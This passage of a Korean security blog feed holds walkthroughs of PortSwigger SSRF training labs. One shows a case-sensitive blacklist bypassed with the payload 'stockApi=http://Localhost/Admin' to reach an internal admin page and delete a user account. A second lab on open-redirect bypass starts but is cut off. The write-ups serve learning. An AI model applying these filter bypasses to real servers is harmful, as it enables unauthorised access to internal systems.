/&gt;프로토콜은&amp;nbsp;같고&amp;nbsp;도메인,&amp;nbsp;경로가&amp;nbsp;다를&amp;nbsp;때&amp;nbsp;응답&amp;nbsp;결과가&amp;nbsp;다른&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있는데&amp;nbsp;처음&amp;nbsp;시도했던&amp;nbsp;페이로드의&amp;nbsp;경우&amp;nbsp;차단&amp;nbsp;메시지가&amp;nbsp;반환되지만&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;페이로드의&amp;nbsp;경우&amp;nbsp;도메인,&amp;nbsp;경로가&amp;nbsp;달랐을&amp;nbsp;때&amp;nbsp;연결&amp;nbsp;에러&amp;nbsp;메시지를&amp;nbsp;반환하는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;도메인,&amp;nbsp;경로가&amp;nbsp;달라졌을&amp;nbsp;때는&amp;nbsp;차단&amp;nbsp;메시가&amp;nbsp;반환이&amp;nbsp;되지&amp;nbsp;않고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;localhost,&amp;nbsp;admin&amp;nbsp;문자열과&amp;nbsp;같이&amp;nbsp;특정&amp;nbsp;문자열만&amp;nbsp;필터링이&amp;nbsp;되고&amp;nbsp;있다고&amp;nbsp;생각해&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6_아무렇게 입력했을때는 내부서버 접근 금지라는 표시가 안보임.png&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWLDjn/dJMcaalpeKj/LwSKmldSD0ATP4k3rKk0X0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWLDjn/dJMcaalpeKj/LwSKmldSD0ATP4k3rKk0X0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWLDjn/dJMcaalpeKj/LwSKmldSD0ATP4k3rKk0X0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWLDjn%2FdJMcaalpeKj%2FLwSKmldSD0ATP4k3rKk0X0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;425&quot; data-filename=&quot;6_아무렇게 입력했을때는 내부서버 접근 금지라는 표시가 안보임.png&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi 파라미터에 삽입했던 임의의 URL에서 경로에 localhost를 삽입해 보고 요청을 보냈을 때 응답을 보면 차단을 당하고 있기 때문에 localhost 문자열이 필터링 되고 있다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_localhost입력하니까 응답에 차단 메시지가 반환됨 즉 localhost는 필터링되고 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpeVN7/dJMcaiqeOYh/bChbHlWa3XYDYF9Z07KmpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpeVN7/dJMcaiqeOYh/bChbHlWa3XYDYF9Z07KmpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpeVN7/dJMcaiqeOYh/bChbHlWa3XYDYF9Z07KmpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpeVN7%2FdJMcaiqeOYh%2FbChbHlWa3XYDYF9Z07KmpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;423&quot; data-filename=&quot;7_localhost입력하니까 응답에 차단 메시지가 반환됨 즉 localhost는 필터링되고 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔&amp;nbsp;localhost가&amp;nbsp;아닌&amp;nbsp;admin을&amp;nbsp;삽입해&amp;nbsp;보고&amp;nbsp;응답을&amp;nbsp;확인하면&amp;nbsp;똑같이&amp;nbsp;차단당하고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;admin&amp;nbsp;문자열도&amp;nbsp;필터링&amp;nbsp;되고&amp;nbsp;있다는&amp;nbsp;사실을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8_admin 문자열도 동일하게 차단되고 있음.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ghq6D/dJMcafG6szN/KJoKDooXKe78aBiHZ6klz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ghq6D/dJMcafG6szN/KJoKDooXKe78aBiHZ6klz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ghq6D/dJMcafG6szN/KJoKDooXKe78aBiHZ6klz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGhq6D%2FdJMcafG6szN%2FKJoKDooXKe78aBiHZ6klz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;420&quot; data-filename=&quot;8_admin 문자열도 동일하게 차단되고 있음.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;localhost 문자열이 필터링 되고 있는데 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환되지 않고 있기 때문에 우회에 성공했다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9_localhost 앞글자를 대문자로 바꿔서 우회를 해보니 차단 메시지가 안뜨는것을 볼 수 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vqrvh/dJMcag6085X/nCkCJcuXKH99rmTP7iE2c0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vqrvh/dJMcag6085X/nCkCJcuXKH99rmTP7iE2c0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vqrvh/dJMcag6085X/nCkCJcuXKH99rmTP7iE2c0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvqrvh%2FdJMcag6085X%2FnCkCJcuXKH99rmTP7iE2c0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;425&quot; data-filename=&quot;9_localhost 앞글자를 대문자로 바꿔서 우회를 해보니 차단 메시지가 안뜨는것을 볼 수 있음.png&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin&amp;nbsp;문자열도&amp;nbsp;첫&amp;nbsp;글자만&amp;nbsp;대문자로&amp;nbsp;바꿔서&amp;nbsp;우회를&amp;nbsp;시도해&amp;nbsp;보면&amp;nbsp;차단&amp;nbsp;메시지가&amp;nbsp;반환이&amp;nbsp;되지&amp;nbsp;않기&amp;nbsp;때문에&amp;nbsp;우회에&amp;nbsp;성공했다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_admin 문자열 앞글자도 대문자로 바꿔서 우회하니까 차단메시지 안뜸.png&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8BRgy/dJMb991blRZ/piMan7FrjCTOFsGCCvy0l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8BRgy/dJMb991blRZ/piMan7FrjCTOFsGCCvy0l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8BRgy/dJMb991blRZ/piMan7FrjCTOFsGCCvy0l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8BRgy%2FdJMb991blRZ%2FpiMan7FrjCTOFsGCCvy0l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;425&quot; data-filename=&quot;10_admin 문자열 앞글자도 대문자로 바꿔서 우회하니까 차단메시지 안뜸.png&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi 파라미터를 통해 admin 인터페이스에 접근할 때 알아낸 우회 방법을 통해 접근을 해보면 admin 인터페이스에 성공적으로 접속할 수 있기 때문에 SSRF 취약점이 존재하고 있으며 필터링이 미흡하다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt; &lt;br /&gt;stockApi=http://Localhost/Admin &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;localhost,&amp;nbsp;admin&amp;nbsp;문자열을&amp;nbsp;사용하면&amp;nbsp;필터링에&amp;nbsp;의해&amp;nbsp;차단되는&amp;nbsp;것을&amp;nbsp;확인했었고&amp;nbsp;앞&amp;nbsp;글자만&amp;nbsp;대문자로&amp;nbsp;바꾸면&amp;nbsp;우회를&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;통해&amp;nbsp;서버&amp;nbsp;측&amp;nbsp;필터&amp;nbsp;로직은&amp;nbsp;대소문자를&amp;nbsp;구분하여&amp;nbsp;필터링하고&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있었습니다.&amp;nbsp;따라서&amp;nbsp;admin&amp;nbsp;인터페이스&amp;nbsp;URL을&amp;nbsp;입력할&amp;nbsp;때&amp;nbsp;localhost,&amp;nbsp;admin&amp;nbsp;문자열의&amp;nbsp;앞&amp;nbsp;글자만&amp;nbsp;대문자로&amp;nbsp;바꿔주면&amp;nbsp;우회가&amp;nbsp;가능하고&amp;nbsp;admin&amp;nbsp;인터페이스에&amp;nbsp;접근이&amp;nbsp;가능하다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;결과적으로 stockApi 파라미터에 대해서 필터링이 미흡했기 때문에 서버가 공격자가 입력한 내부 주소로 요청을 보내게 하여 내부 주소에 접근이 가능했기 때문에 SSRF 취약점이 존재합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_우회에 성공해서 외부에서 접근 불가능한 localhost, admin 경로로 접근가능해짐.png&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVHsU6/dJMb997TUTB/5qJWN5T7jSwUKshSXKSWr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVHsU6/dJMb997TUTB/5qJWN5T7jSwUKshSXKSWr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVHsU6/dJMb997TUTB/5qJWN5T7jSwUKshSXKSWr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVHsU6%2FdJMb997TUTB%2F5qJWN5T7jSwUKshSXKSWr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;426&quot; data-filename=&quot;11_우회에 성공해서 외부에서 접근 불가능한 localhost, admin 경로로 접근가능해짐.png&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;응답에서&amp;nbsp;Raw를&amp;nbsp;클릭하고&amp;nbsp;carlos&amp;nbsp;계정&amp;nbsp;삭제&amp;nbsp;버튼을&amp;nbsp;찾은&amp;nbsp;뒤&amp;nbsp;해당&amp;nbsp;URL을&amp;nbsp;복사합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_Burp Suite 응답 탭에서 Raw로 바꾸고 아까 삭제 버튼이 있던 곳을 찾아내고 삭제하는 URL 확인.png&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvzKay/dJMcaglDUsC/H6tiLFkJuEO7f429iGX3K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvzKay/dJMcaglDUsC/H6tiLFkJuEO7f429iGX3K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvzKay/dJMcaglDUsC/H6tiLFkJuEO7f429iGX3K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvzKay%2FdJMcaglDUsC%2FH6tiLFkJuEO7f429iGX3K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;383&quot; data-filename=&quot;12_Burp Suite 응답 탭에서 Raw로 바꾸고 아까 삭제 버튼이 있던 곳을 찾아내고 삭제하는 URL 확인.png&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi&amp;nbsp;파라미터에&amp;nbsp;복사했던&amp;nbsp;carlos&amp;nbsp;계정&amp;nbsp;삭제&amp;nbsp;URL을&amp;nbsp;admin&amp;nbsp;인터페이스&amp;nbsp;경로에&amp;nbsp;추가하여&amp;nbsp;요청을&amp;nbsp;보냅니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_삭제하는 페이로드를 stockApi 파라미터 값으로 삽입해보면 302 응답이 반환됨.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;442&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPyFpD/dJMcaicMhgN/X2Kl4xxMZkzRy0vcZKbb61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPyFpD/dJMcaicMhgN/X2Kl4xxMZkzRy0vcZKbb61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPyFpD/dJMcaicMhgN/X2Kl4xxMZkzRy0vcZKbb61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPyFpD%2FdJMcaicMhgN%2FX2Kl4xxMZkzRy0vcZKbb61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;415&quot; data-filename=&quot;13_삭제하는 페이로드를 stockApi 파라미터 값으로 삽입해보면 302 응답이 반환됨.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전&amp;nbsp;과정을&amp;nbsp;끝내고&amp;nbsp;웹&amp;nbsp;사이트로&amp;nbsp;돌아가&amp;nbsp;보면&amp;nbsp;문제가&amp;nbsp;클리어&amp;nbsp;된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14_다시 웹 페이지(랩)로 돌아가보면 문제를 클리어한 것을 알 수 있음.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHzyBY/dJMcaaTh7WZ/sdkEMtV4lBv7kzFEKZltyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHzyBY/dJMcaaTh7WZ/sdkEMtV4lBv7kzFEKZltyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHzyBY/dJMcaaTh7WZ/sdkEMtV4lBv7kzFEKZltyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHzyBY%2FdJMcaaTh7WZ%2FsdkEMtV4lBv7kzFEKZltyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-filename=&quot;14_다시 웹 페이지(랩)로 돌아가보면 문제를 클리어한 것을 알 수 있음.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin&amp;nbsp;인터페이스에&amp;nbsp;다시&amp;nbsp;접속해서&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;carlos&amp;nbsp;계정이&amp;nbsp;삭제되어&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15_실제로 삭제하는 요청을 보내고 다시 localhost, admin 경로로 가보면 carlos계정이 사라진것을 볼 수 있ㅇ므.png&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGFeBA/dJMcag6099R/Fxf6ewJsRsqdKwthMaODwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGFeBA/dJMcag6099R/Fxf6ewJsRsqdKwthMaODwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGFeBA/dJMcag6099R/Fxf6ewJsRsqdKwthMaODwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGFeBA%2FdJMcag6099R%2FFxf6ewJsRsqdKwthMaODwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;425&quot; data-filename=&quot;15_실제로 삭제하는 요청을 보내고 다시 localhost, admin 경로로 가보면 carlos계정이 사라진것을 볼 수 있ㅇ므.png&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SSRF</category>
      <category>SSRF bypass</category>
      <category>ssrf 필터링 우회</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/34</guid>
      <comments>https://code000.tistory.com/entry/Lab-SSRF-with-blacklist-based-input-filter#entry34comment</comments>
      <pubDate>Tue, 23 Jun 2026 13:47:22 +0900</pubDate>
    </item>
    <item>
      <title>Lab: SSRF with filter bypass via open redirection vulnerability</title>
      <link>https://code000.tistory.com/entry/Lab-SSRF-with-filter-bypass-via-open-redirection-vulnerability</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; carlos 계정을 삭제하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin&amp;nbsp;인터페이스&amp;nbsp;주소는&amp;nbsp;http://192.168.0.12:8080/admin&amp;nbsp;이라는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있고&amp;nbsp;해당&amp;nbsp;페이지에서&amp;nbsp;carlos&amp;nbsp;계정을&amp;nbsp;삭제하면&amp;nbsp;문제를&amp;nbsp;클리어하게&amp;nbsp;됩니다.&amp;nbsp;이때&amp;nbsp;admin&amp;nbsp;인터페이스의&amp;nbsp;경우&amp;nbsp;서버가&amp;nbsp;접근&amp;nbsp;가능한&amp;nbsp;내부&amp;nbsp;네트워크에서만&amp;nbsp;접근이&amp;nbsp;가능하며&amp;nbsp;직접적인&amp;nbsp;접근은&amp;nbsp;필터링에&amp;nbsp;의해&amp;nbsp;차단되게&amp;nbsp;됩니다.&amp;nbsp;따라서&amp;nbsp;open&amp;nbsp;redirect&amp;nbsp;기능을&amp;nbsp;찾아야&amp;nbsp;한다고&amp;nbsp;설명하고&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biw8HI/dJMb99098Xw/Ed9FnJxWhXle0iYZhoFykK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biw8HI/dJMb99098Xw/Ed9FnJxWhXle0iYZhoFykK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biw8HI/dJMb99098Xw/Ed9FnJxWhXle0iYZhoFykK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbiw8HI%2FdJMb99098Xw%2FEd9FnJxWhXle0iYZhoFykK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
